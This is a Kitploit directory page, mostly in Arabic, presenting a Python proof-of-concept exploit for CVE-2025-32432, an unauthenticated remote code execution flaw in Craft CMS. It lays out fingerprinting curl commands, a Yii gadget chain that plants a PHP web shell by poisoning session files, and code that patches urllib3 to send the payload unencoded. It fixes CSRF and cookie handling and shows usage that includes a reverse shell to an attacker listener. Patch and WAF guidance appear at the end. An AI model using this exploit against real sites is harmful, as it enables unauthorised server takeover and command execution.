Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-32432 — أداة PoC بلغة Python تستغل CVE-2025-32432، وهو تنفيذ أوامر عن بُعد (RCE) بدون مصادقة في Craft CMS عبر حقن أداة Yii DI، مع فحص assetId، وreverse shell، وإرشادات المعالجة. | Kitploit
أدوات/GitHubGitHub/si13nttt/cve-2025-32432
أدوات دفاعيةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقالاستجابة للحوادثأداة الوصول عن بعدتطوير الحمولات
GitHubsi13nttt/cve-2025-32432

CVE-2025-32432

أداة PoC بلغة Python تستغل CVE-2025-32432، وهو تنفيذ أوامر عن بُعد (RCE) بدون مصادقة في Craft CMS عبر حقن أداة Yii DI، مع فحص assetId، وreverse shell، وإرشادات المعالجة.

منذ 19 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
عرض المستودع
مشاركة

CVE-2025-32432 — Craft CMS <= 5.6.16 تنفيذ تعليمات برمجية عن بُعد بدون مصادقة

الخطورة: حرجة (CVSS 10.0) المصادقة المطلوبة: لا شيء المتأثر: Craft CMS 3.0.0-RC1 - 3.9.14, 4.0.0-RC1 - 4.14.14, 5.0.0-RC1 - 5.6.16 تم إصلاحه في: Craft CMS 3.9.15 / 4.14.15 / 5.6.17, Yii2 2.0.50


التحديد (كيفية تأكيد أن الهدف عرضة للثغرة)

قبل الاستغلال، تأكد من أن الهدف يشغّل إصدارًا عرضة للثغرة من Craft CMS.

الخطوة 1 — بصمة إصدار Craft CMS

curl -s http://target/cms/index.php | grep -i craft
curl -s http://target/cms/web.config
curl -s http://target/cms/composer.json | python3 -m json.tool | grep craftcms

الخطوة 2 — فحص نقطة النهاية العرضة (فحص الوصول المجهول)

curl -s -o /dev/null -w "%{http_code}" \
  -X POST http://target/cms/actions/assets/generate-transform \
  -H "Content-Type: application/json" \
  -d '{"assetId":1,"handle":{"width":1,"height":1}}'
  • HTTP 400 = نقطة النهاية موجودة (Craft يعمل)، CSRF مفقود
  • HTTP 404 = ليس Craft أو مسار خاطئ
  • HTTP 500 = تم تفعيل gadget (assetId صالح، نقطة النهاية قابلة للوصول)

الخطوة 3 — التأكيد عبر فحص assetId

python3 exploit.py -u http://target/cms -c "id"

إذا احتوى المخرجات على uid= فإن الهدف مؤكد عرضته للثغرة وتم تحقيق RCE.


السبب الجذري

AssetsController::actionGenerateTransform() مُعلَّنة بـ allowAnonymous، مما يجعلها قابلة للوصول دون مصادقة. تمرر معامل handle الذي يتحكم به المستخدم مباشرة إلى Yii::createObject():

protected array|bool|int $allowAnonymous = ['generate-thumb', 'generate-transform'];

public function actionGenerateTransform(): Response
{
    $handle = Craft::$app->getRequest()->getBodyParam('handle');
    $transform = ImageTransforms::normalizeTransform($handle); // -> Yii::createObject($handle)
}

تعامل حاوية DI في Yii مفتاحين خاصين في المصفوفة دون أي قائمة سماح:

المفتاحالسلوك
__classإنشاء نسخة من هذا الصنف بدلاً من النوع المُعلن
__construct()تمرير هذه القيم كوسائط للمُنشئ

سلسلة gadget:

handle[as x][__class]       = yii\rbac\PhpManager
handle[as x][__construct()] = [{"itemFile": "/tmp/sess_<CraftSessionId>"}]
                                        |
    PhpManager::init() -> load() -> loadFromFile($itemFile) -> require $itemFile

تسميم ملف الجلسة يُغلق الحلقة: يخزّن PHP معاملات GET حرفيًا في /tmp/sess_<CraftSessionId>. زرع <?=shell_exec($_GET['cmd']);exit;?> هناك يمنح RCE.


لماذا تفشل PoCs العامة الموجودة

1. ترميز URL يدمّر حمولة PHP

المشكلة الجذرية: مكتبة Python requests ترمّز <، >، ?، = قبل الإرسال. يخزّن معالج الجلسة في PHP البايتات المرمّزة بالنسبة المئوية — وليس PHP قابلًا للتنفيذ.

حمولة مرمّزة (معطوبة — ما ترسله requests فعليًا على الشبكة)

GET /index.php?p=admin/dashboard&cve202532432=%3C%3F%3Dshell_exec%28%24_GET%5B%27cmd%27%5D%29%3Bexit%3B%3F%3E HTTP/1.1

# Session file stores:
returnUrl|s:107:"...&cve202532432=%3C%3F%3Dshell_exec%28%24_GET%5B%27cmd%27%5D%29%3Bexit%3B%3F%3E"
# PHP sees a plain string — no PHP tags — nothing executes.

حمولة غير مرمّزة (مُصلَحة — ما نرسله بعد monkey-patching)

GET /index.php?p=admin/dashboard&cve202532432=<?=shell_exec($_GET['cmd']);exit;?> HTTP/1.1

# Session file stores:
returnUrl|s:107:"...&cve202532432=<?=shell_exec($_GET['cmd']);exit;?>"
# When require()'d, PHP executes shell_exec and returns the output.

الإصلاح: Monkey-patch لـ HTTPConnectionPool._make_request — آخر نقطة قبل TCP — واستدعاء urllib.parse.unquote() هناك:

def _raw_request(self, conn, method, url, **kw):
    url = urllib.parse.unquote(url)   # restore < > ? = just before socket write
    return self._orig_req(conn, method, url, **kw)

urllib3.connectionpool.HTTPConnectionPool._orig_req = urllib3.connectionpool.HTTPConnectionPool._make_request
urllib3.connectionpool.HTTPConnectionPool._make_request = _raw_request

2. اسم ملف تعريف الجلسة خاطئ

المعيار: ملف تعريف الجلسة الافتراضي في PHP هو PHPSESSID. يتجاوزه Craft CMS في إعدادات تطبيقه:

// craft/config/app.php (Craft CMS source)
'session' => [
    'class' => craft\web\Session::class,
    'cookieName' => 'CraftSessionId',   // <-- custom name, NOT PHPSESSID
],

هذا يعني أن ملف الجلسة على القرص هو /tmp/sess_<CraftSessionId>، وليس /tmp/sess_<PHPSESSID>.

مقارنة ملفات تعريف الارتباط

الخاصيةPHP الافتراضيCraft CMS
اسم ملف تعريف الارتباطPHPSESSIDCraftSessionId
ملف الجلسة/tmp/sess_abc123/tmp/sess_abc123
كيفية القراءةsession.cookies.get("PHPSESSID")session.cookies.get("CraftSessionId")
ما يحدث إذا كان خاطئًايُرجَع Noneمسار itemFile يشير إلى ملف غير موجود
النتيجةيفشل الاستغلال بصمتلا خطأ — require() يفشل فقط
# BROKEN — reads PHPSESSID, gets None
session_id = session.cookies.get("PHPSESSID")
item_file  = f"/tmp/sess_{session_id}"   # -> "/tmp/sess_None" — does not exist

# FIXED — reads the actual Craft cookie
session_id = sess.cookies.get("CraftSessionId")
item_file  = f"/tmp/sess_{session_id}"   # -> "/tmp/sess_u8p2hn4kfgol9nbjkcvnv7ag6u"

يمكنك التحقق من اسم ملف تعريف الارتباط الصحيح بفحص DevTools في المتصفح بعد زيارة أي صفحة Craft، أو بفحص ترويسة استجابة Set-Cookie:

curl -sI http://target/cms/index.php | grep -i set-cookie
# Set-Cookie: CraftSessionId=u8p2hn4kfgol9nbjkcvnv7ag6u; path=/; HttpOnly

3. رمز CSRF مفقود في طلب التشغيل

يتحقق Craft من رموز CSRF في جميع إجراءات POST غير المجهولة. حذف الرمز يسبب 400 Bad Request.

# BROKEN
requests.post(url, json=payload)

# FIXED — extract CRAFT_CSRF_TOKEN from login page HTML, send as header
requests.post(url, json=payload, headers={"X-CSRF-Token": csrf})

جدول المقارنة

المشكلةPoCs تسميم السجلالجلسة (ملف تعريف خاطئ)الجلسة (بدون CSRF)هذا PoC
ترميز URLغير منطبق (User-Agent)معطوبمعطوبمُصلَح بـ monkey-patched
اسم ملف تعريف الارتباطغير منطبقمعطوب PHPSESSIDمعطوب PHPSESSIDمُصلَح CraftSessionId
CSRF عند التشغيلجيدجيدمعطوبمُصلَح
exit; في السجل القديممعطوبغير منطبقغير منطبقغير منطبق
يعمل على بادئة /cmsمعطوبمعطوبمعطوبمُصلَح

الاستخدام

usage: exploit.py [-h] -u URL [-c CMD] [-a ASSET_ID] [-s SCAN_MAX]
                  [--revshell] [--lhost LHOST] [--lport LPORT]

options:
  -u URL          Craft CMS base URL including path prefix
  -c CMD          Shell command to execute
  -a ASSET_ID     Known valid assetId (skips auto-scan)
  -s SCAN_MAX     Upper bound for assetId scan (default: 50)
  --revshell      Send a Python3 reverse shell
  --lhost LHOST   Listener IP (required with --revshell)
  --lport LPORT   Listener port (required with --revshell)
python3 exploit.py -u http://target:8088/cms -c "id"
python3 exploit.py -u http://target:8088/cms -c "cat /flag/flag.txt"

# Reverse shell (Python3 — avoids /dev/tcp and bash quoting issues)
nc -lvnp 4444
python3 exploit.py -u http://target:8088/cms --revshell --lhost 10.10.14.1 --lport 4444

المعالجة

الإجراءالتفاصيل
ترقية Craft CMS3.9.15 / 4.14.15 / 5.6.17 تتحقق من أن handle يطبّق ImageTransformerInterface
ترقية Yii22.0.50 تحجب حقن __class في Component::__set
قاعدة WAFحجب __class أو __construct() في جسم الطلب إلى /actions/assets/generate-transform

الإصلاح / التخفيف (دليل عمليات الفريق الأزرق)

جدول الترقيع

الفرععرضة للثغرةمُرقَّع
3.x3.0.0-RC1 – 3.9.143.9.15+
4.x4.0.0-RC1 – 4.14.144.14.15+
5.x5.0.0-RC1 – 5.6.165.6.17+

الخطوة 2 — تحديد موقع الكود العرضة للثغرة

cd /var/www/craftapp
grep -rn 'allowAnonymous' vendor/craftcms/cms/src/controllers/AssetsController.php
grep -n 'function actionGenerateTransform' -A 20 vendor/craftcms/cms/src/controllers/AssetsController.php
تنزيل الأداة